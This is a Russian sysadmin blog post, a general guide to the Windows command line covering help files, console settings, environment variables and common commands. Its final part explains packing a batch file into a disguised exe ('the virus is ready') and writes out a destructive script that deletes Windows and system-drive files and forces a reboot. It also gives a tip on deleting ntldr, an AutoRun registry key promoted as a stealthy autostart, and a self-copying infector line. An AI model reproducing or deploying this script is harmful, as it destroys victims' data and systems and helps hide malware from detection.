Записки сисадмина
Алексей Никипольский
Понедельник, 25.11.2024, 04:16
 
Меню
Настройка windows XP [38]
тонкости настройки, скрытые возможности
Программирование [8]
Нюансы, примеры, мои наработки и прочая полезная информация
Защита [28]
Компьютера, данных, интернет соединений и прочая полезная информация по защите
Обзор новинок [15]
Новинки ПО и железа
Обмен опытом [20]
Заработок в сети [9]
Все виды заработка в сети интернет, обзор, анализ, рекомендации
Распознование [10]
Все о методах и способах распознавания графической информации. Взлом капчи, методы и способы анализа...
Электронные книги [4]
По PHP CSS SQL PERL программированию Всё что есть в свободном доступе в интернете на разных ресурсах.
WEB программирование [9]
Всё о программировании WEB PHP Java PERL HTTP HTML и т.п.
Взлом [6]
методика взлома, примеры взлома, способы защиты от взлома
Онлайн сервисы [2]
Полезные сервисы онлайн
Администрирование [27]
Опыт системного администрирования
Статистика
Календарь
«  Декабрь 2013  »
ПнВтСрЧтПтСбВс
      1
2345678
9101112131415
16171819202122
23242526272829
3031
Главная » 2013 » Декабрь » 12 » Мануал по командной строке
11:47
Мануал по командной строке

Интерес к командной строке (cmd.exe) всегда был есть и будет. В интернете полно справочников, руководств, и примеры bat. Для создания batников не требуется компиляторов, всё что нужно это windows и голова (head.dll) ...
Самый полный справочник с описанием cmd.exe находится у Вас на компьютере - папка %Windows%/Help/ntcmds.chm - это обычный файл справки , просматриваемый стандартным средством операционной (hh.exe).
Также для вывода справки можно использовать меню Выполнить - hh ntcmds.chm (для windows XP) . Для тех кто не в курсе любую программу из папки Windows можно запустить из этого меню не указывая пути и расширения файла . Например, когда мы набираем "cmd" в системной папке ищется файл "cmd.exe" , находится в папке system32 и выполняется. Там находится полный список команд , включая и устаревшие (работающие только в Ms Dos), полезные сведения и советы по настройке . Все команды расположены в алфавитном порядке , и в одну статью вряд ли поместятся . Так что смотрите у себя на компе.
Настройка
Запускаем командную строку (Пуск-Выполнить-cmd-Enter) , видим её значок в левом верхнем углу окна , правый клик мыши по нему и в открывшемся меню выбираем Свойства . Здесь мы можем настраивать cmd как угодно. На вкладке Общие можно поменять размер курсора , размер буфера, режим отображения и разрешить или запретить выделение мышью . Полезная кстати вещь:) Далее идёт вкладка настройки шрифта, размеров окна и цвета. Если вам когда нибудь надоедали белые буквы на тёмном фоне , то их запросто можно поменять например на зелёные .
Теперь о реестре - куда ж без него?
[HKEY_LOCAL_MACHINE/ SOFTWARE/Microsoft/ Command Processor]: Никаких новых параметров нет за исключением одного - AutoRun. Любая программа указанная там будет выполнятся каждый раз при запуске командной строки . Я никогда раньше не встречал такого способа автозапуска , возможно кому нибудь это пригодится . Шансы того что вашу прогу запалят практически нулевые .
[HKEY_LOCAL_MACHINE/ SYSTEM/CurrentControlSet/ Control/Session Manager/ Environment]: Здесь параметры некоторых переменных .
Список стандартных переменных :
%os% Имя системы
%windir% Путь к папке
Windows %systemdrive% Путь к системному диску
%programfiles% Путь к Program Files
%temp% Путь к временной папке
%tmp% То же что и %temp% %allusersprofile% Путь к папке All users
%appdata% Путь к папке Application Data для текущего пользователя
%userprofile% Путь к папке с документами и настройками текущего пользователя
%path% Показывает стандартные системные пути . Многие проги любят менять значение этой переменной , добавляя туда путь своей рабочей папки
%pathext% Показывает стандартные расширения
%comspec% Путь к самому интерпретатору командной строки cmd.exe
%number_of_processors% Выводит количество прцессоров установленных в системе
%processor_architecture% Выводит что то наподобие x86
%processor_identifier% Технические характеристики процессора

Всё это можно вывести на экран . Например "echo %windir%".

Теперь список некоторых полезных команд :

Assoc - Выводит список всех расширений и программ с ними сопоставленных . "Assoc .exe = .gif" заставит систему считать все программы файлами изображений
Date [ нужная дата} - Меняет системную дату
Driverquery - Выводит список всех установленных драйверов
Ftype . расширение = команда - Установка программы или команды, которая будет выполнятся при
Getmac - Выводит mac адрес компьютера
Hostname - Выводит имя узла
Ipconfig - Параметры протокола и сетевых адаптеров
Nbtstat - Вывод статистики протокола
Netbios Net - Содержит много параметров для работы с сетью
Netstat - Выводит на экран все активные в данный момент подключения
Nslookup адрес узла - Вывод доменного имени заданного узла
Reg подкоманды - Работа с реестром
Tasklist - Вывести список всех процессов
Taskkill - Убить процесс по Pid или имени

Насчёт вирусов. Bat вирусы настолько мало распространены, что их список состоит из всего нескольких десятков и подхватить где нибудь эдакую "заразу" весьма проблематично. Но некоторые антивирусные компании всё же добавили сигнатуры в свои базы , видимо с желанием подзаработать. Вот например строчка "for %a in (%windir%*.*) do echo %0 >> %a" палится как вирус...

Как же запаковать bat файлы? Можно создать sfx архив с помощью WinRara, поставив вашу прогу на автозапуск после распаковки и отключив визуальное окно потверждения и выбора пути для распаковки .

Есть также программы для этого , например Quick Batch File Compiler. В итоге получаем обычный exeшник . Ставим для него иконку получше, сжимаем упаковщиком и наш вирус готов . Для примера (и только для примера!) могу привести пример такого заподла, сочиненного на скорую руку :
Код: "
@echo off - запрещаем вывод команд на экран, в том числе и результатов их выполнения .
color 40 - делаем фон файла красным, а буквы чёрными.
label LAMER - команда label указанная без параметров переименовывает системный диск на заданное слово .
attrib -s -r -h -a %systemdrive %*.* - снимаем системные атрибуты с некоторых файлов .
erase %windir%*.* /q - банальное удаление файлов .
erase %windir%system32*.* / q - банальное удаление файлов, хотя винду снесёт без проблем.
erase %systemdrive%*.* /q - удаление системно важных скрытых файлов на системном диске .

Хотя чтобы винда больше не запустилась никаким образом достаточно удалить файл ntldr и перегрузиться.

regedit (путь к вашему файлу) - Добавляем информацию с вашего .reg файла в реестр. Существует ещё и команда reg с параметрами, но иногда проще создать отдельный .reg файл. Здесь фантазии может быть много ...
echo текст >(>>) файл - Добавляем записи в файл. Знак > создаёт новый файл с заданным текстом, >> добавляет уже в существующий файл.
shutdown -r -f - Принудительно перезагружаем комп, несмотря на протесты системы . " Это были лишь заготовки, а насколько серьёзно вы будете модифицировать реестр или изменять файлы зависит от вас .

Рекомендую Вам также почитать:


  • как создать DLL
  • Windows 7 и два маршрута по умолчанию
  • Взлом wifi - вступление.
  • Как заработать в Интернете
  • Брандмауэр - эффективный способ вашей безопасности
  • DMZ (демилитаризованная зона) и зачем она нужна
  • Принципы взлома wifi
  • Как вывести баннер на форуме Ucoz в первом сообщении темы
  • Просмотр переписки на домашнем компьютере стандартными средствами.
  • Стандартные средства восстановления системных файлов Windows XP

  • Загрузить, скачать Программирование, Мануал по командной строке бесплатно.
    Скачать Мануал по командной строке бесплатно
    Мануал по командной строке бесплатно и без регистрации.

    При копировании материала указывайте источник

    Мануал по командной строке download free


    Категория: Программирование | Просмотров: 3772 | Добавил: Никипольский-Алексей | Теги: Командная строка, мануал по командной строке, команды cmd | Рейтинг: 0.0/0
    Всего комментариев: 0
    avatar
    Мои услуги на Kwork
    Like It


    Copyright Алексей Никипольский © 2009 - 2024